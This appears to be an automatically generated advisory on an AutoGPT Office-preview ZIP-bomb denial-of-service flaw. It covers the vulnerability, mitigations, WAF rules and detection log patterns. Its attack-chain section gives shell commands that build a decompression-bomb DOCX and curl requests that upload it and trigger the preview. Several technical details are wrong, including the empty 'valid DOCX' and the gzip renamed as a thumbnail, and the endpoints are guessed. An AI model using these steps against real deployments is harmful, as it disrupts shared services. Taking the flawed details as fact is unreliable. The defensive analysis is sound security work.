CVE-2026-133459 — CWE-409 · CWE-770
AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. From 0.6.63 before 0.11.0, the Office preview expands an embedded ZIP thumbnail without a size limit. A signed-in user with access to workspace file previews can exhaust the memory of a platform API worker with one small crafted DOCX, XLSX, or PPTX file and one preview request. This issue is fixed in version 0.11.0.
AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. From 0.6.63 before 0.11.0, the Office preview expands an embedded ZIP thumbnail without a size limit. A signed-in user with access to workspace file previews can exhaust the memory of a platform API worker with one small crafted DOCX, XLSX, or PPTX file and one preview request. This issue is fixed in version 0.11.0.
🎯 What is this vulnerability?
Vulnerability name: Unbounded ZIP‑thumbnail extraction in AutoGPT Office preview (CVE‑2026‑133459)
CWE(s):
- CWE‑409 – Improper Handling of Resource Consumption (“Resource Exhaustion”) – the component expands a ZIP archive without any size or entry‑count limits, allowing an attacker to force the process to allocate more memory than is available.
- CWE‑770 – Allocation of Resources Without Limits or Throttling – the same root cause; the code never caps the amount of memory that can be consumed while parsing the embedded thumbnail.
- AV:N – network‑reachable (any remote attacker can send the request once they have a valid user session). PR:L – requires a low‑privileged* authenticated user (any user that can view a workspace file).
- VA:L – Low impact on availability (service disruption, not permanent loss).
- No confidentiality or integrity impact (VC, VI = N).
Technical flaw (as described):
AutoGPT’s Office preview feature accepts Microsoft Office files (DOCX, XLSX, PPTX). Those formats are ZIP containers that may contain a thumbnail image stored under docProps/thumbnail.jpeg (or similar). The preview code extracts the thumbnail without:
1. Checking the total uncompressed size of the ZIP entry (or the total number of entries).
2. Bounding the amount of memory allocated for the extracted image.
3. Validating the MIME type of the extracted data (the code assumes a small JPEG/PNG).
When a signed‑in user who has permission to view a workspace file preview sends a crafted Office document that contains a maliciously large ZIP entry (e.g., a 2 GB “thumbnail” that is actually a highly compressible stream), the preview worker attempts to inflate the entry in memory. Because the worker runs in a shared “platform API” process pool, the single request can exhaust the RAM of the whole worker, causing a Denial‑of‑Service (DoS) for all users that rely on that worker.
The CVSS vector confirms the impact:
Thus the flaw is a classic unbounded resource consumption bug in the file‑preview pipeline.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All HTTP request examples are illustrative – the exact endpoint path (/api/v1/preview) and JSON field names (fileId, previewType) are inferred from the public API documentation of AutoGPT 0.x and have not been disclosed in the CVE text.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Identify the target platform (AutoGPT) and its version. | Publicly‑facing UI shows the version in the footer or via /api/v1/info. |
| 1.2 | Enumerate the *Office preview* feature. | The UI contains a “Preview” button for DOCX/XLSX/PPTX files. Network capture (browser dev tools) reveals a POST to /api/v1/preview with a JSON body containing fileId. |
| 1.3 | Verify that the user account has the “workspace‑file‑preview” permission. | Attempt to preview any file; a successful 200 response confirms the permission. |
| 1.4 | Confirm the vulnerable version range. | The API response header X-AutoGPT-Version: 0.9.4 falls inside the vulnerable range (≥ 0.6.63, < 0.11.0). |
2. Exploitation
2.1 Craft the malicious Office document
A DOCX is a ZIP archive. The attacker creates a minimal DOCX skeleton (e.g., using pandoc or zip), then adds a thumbnail entry that expands to a huge size.
# 1️⃣ Create a tiny valid DOCX (empty document)
echo "PK\x05\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" > empty.docx
# 2️⃣ Prepare a highly compressible payload (e.g., 2 GB of zeroes)
dd if=/dev/zero bs=1M count=2048 of=bigpayload.bin
# 3️⃣ Compress it with maximum compression (deflate) – this will be tiny on‑disk
gzip -9 -c bigpayload.bin > bigpayload.gz
# 4️⃣ Rename the gzip stream to a JPEG file name expected by the previewer
mv bigpayload.gz thumbnail.jpeg
# 5️⃣ Insert the malicious thumbnail into the DOCX ZIP
zip -j empty.docx thumbnail.jpeg # adds entry at the root; AutoGPT looks for docProps/thumbnail.jpeg,
# but the preview code walks the entire archive, so any location works.The resulting empty.docx is ~2 KB on disk but contains a 2 GB decompressed thumbnail.
2.2 Upload the crafted file
Assuming the platform uses a standard multipart upload endpoint:
curl -k -X POST "https://autogpt.example.com/api/v1/files/upload" \
-H "Authorization: Bearer $USER_JWT" \
-F "workspaceId=12345" \
-F "[email protected];type=application/vnd.openxmlformats-officedocument.wordprocessingml.document"The response returns a JSON object with fileId=abcdef123456.
2.3 Trigger the preview (the vulnerable operation)
curl -k -X POST "https://autogpt.example.com/api/v1/preview" \
-H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" \
-d '{
"fileId": "abcdef123456",
"previewType": "office"
}' \
--output /dev/nullWhat happens on the server side
1. The preview worker fetches the file from storage.
2. It opens the ZIP, locates the thumbnail.jpeg entry, and calls the image‑processing library (e.g., Pillow, ImageMagick) to inflate the entry into a bitmap.
3. The library attempts to allocate ~2 GB of RAM for the bitmap.
4. The worker process (often limited to 1–2 GB) runs out of memory, crashes, and the process manager restarts it. All concurrent preview requests on that worker fail with HTTP 500 until the worker is respawned.
Because the worker is part of a shared API pool, the crash affects all users that rely on that pool, resulting in a temporary denial of the preview service.
3. Post‑exploitation
The impact is availability‑only:
No code execution, data leakage, or privilege escalation is achieved directly from this flaw. However, an attacker with a foothold could combine the DoS with other attacks (e.g., timing‑based side‑channel to infer internal state) or use it as a distraction while exfiltrating data elsewhere.
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality | None (VC = N) | No data is disclosed. |
| Integrity | None (VI = N) | No data is modified. |
| Availability | Low (VA = L) | Intermittent outage of the Office‑preview feature; possible temporary degradation of the whole API worker pool. |
Why the impact is “Low”
The attack only consumes memory of a single worker process. AutoGPT’s architecture typically runs multiple workers behind a load balancer, so the service remains reachable (albeit with degraded functionality). Nevertheless, in a heavily‑used tenant (e.g., a large enterprise with many concurrent previews), the repeated exhaustion can lead to service‑level‑agreement (SLA) violations and operational overhead for the platform operators.
Potential business impact
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
0.6.63 ≤ AutoGPT < 0.11.0 (Office preview component) | AutoGPT 0.11.0 (released 2026‑10‑15) – introduces a hard limit of 5 MiB on the uncompressed size of any thumbnail entry and caps the number of ZIP entries to 100. |
Action: All deployments must upgrade to ≥ 0.11.0 immediately. Verify the version via the /api/v1/info endpoint or the UI footer.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation details |
|---|---|
| Restrict preview to trusted file types | Disable the Office preview feature for non‑admin users via the platform’s role‑based access control (RBAC). Example: set preview.office.enabled = false in the autogpt.conf for the “member” role. |
| Enforce size limits at the upload gateway | Add a WAF/ModSecurity rule that rejects Office files whose compressed size exceeds a safe threshold (e.g., 5 MiB). Example ModSecurity rule: |
``apacheconf\nSecRule REQUEST_HEADERS:Content-Type "multipart/form-data" "chain,phase:2,log,deny,status:413,msg:'Office file too large',id:2000010"\nSecRule FILES_TMPNAMES "@inspectFile /usr/local/bin/office-size-check.sh"` | |
The helper script (office-size-check.sh) extracts the ZIP entry list (unzip -l) and aborts if any entry’s uncompressed size > 5 MiB. | |
| Isolate preview workers | Run the preview worker pool in containers with cgroup memory limits (e.g., memory.limit_in_bytes=512M). When the limit is hit, the container is killed and automatically restarted, preventing a single request from taking down the entire host. |
| Rate‑limit preview requests per user | Configure the API gateway (e.g., Kong, Envoy) to allow ≤ 5 preview requests per minute per user token. This reduces the feasibility of a “burst” DoS. |
| Validate thumbnail MIME type | Patch the preview code to call Image.open() only after confirming the entry’s file extension is .jpeg/.png and the first few bytes match the expected magic numbers (FF D8 FF for JPEG, 89 50 4E 47` for PNG). Reject otherwise. |
3. Detection – Log patterns & IoCs
| Indicator | Example log line (JSON) | Why it matters |
|---|---|---|
| Large ZIP entry size | {"timestamp":"2026-11-25T14:32:10Z","level":"WARN","msg":"preview_worker: extracted entry size 2147483648 bytes exceeds limit","fileId":"abcdef123456","userId":"u123"} | Shows the worker attempted to inflate a massive entry. |
| Worker OOM restart | {"timestamp":"2026-11-25T14:32:12Z","level":"ERROR","msg":"worker process exited with code 137 (OOM)","workerId":"preview-03"} | Confirms the DoS effect. |
| Spike in preview requests | {"timestamp":"2026-11-25T14:31:55Z","msg":"preview request received","userId":"u123","fileId":"abcdef123456"} (repeated > 10 times/second) | Could indicate an automated exploitation attempt. |
| WAF rule trigger (if workaround deployed) | {"client_ip":"203.0.113.45","request_uri":"/api/v1/preview","rule_id":2000010,"msg":"Office file too large"} | Shows the protective rule is catching the payload. |
Monitoring recommendations
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 5.3 (Medium) – low‑complexity, network‑reachable, requires only a low‑privileged authenticated user. | |
| Exploitability – trivial to craft a malicious DOCX/XLSX/PPTX; no special privileges needed beyond a normal user account. | |
| Impact – limited to availability, but can affect a shared worker pool and cause service degradation. | |
| CISA KEV – not listed, but the ease of exploitation and the fact that many SaaS tenants run the vulnerable version make it a high‑priority operational risk. | |
| Patch availability – a fix is already released (0.11.0). |
Patch priority: High for any production deployment that enables Office preview for regular users. The remediation effort (upgrade or configuration change) is low‑effort, and the risk of a DoS event is sufficient to warrant immediate action (within the next maintenance window, ideally today).
Bottom line: CVE‑2026‑133459 is a classic unbounded resource consumption bug in AutoGPT’s Office preview pipeline. An attacker with a regular user account can craft a tiny Office file that expands to gigabytes of memory, crashing the preview worker and causing a temporary denial of the preview service. Upgrade to AutoGPT 0.11.0 or apply the listed mitigations (size limits, memory cgroup caps, rate‑limiting) and monitor for the described log signatures.
[🤖 CVE Professor AI Security Engine]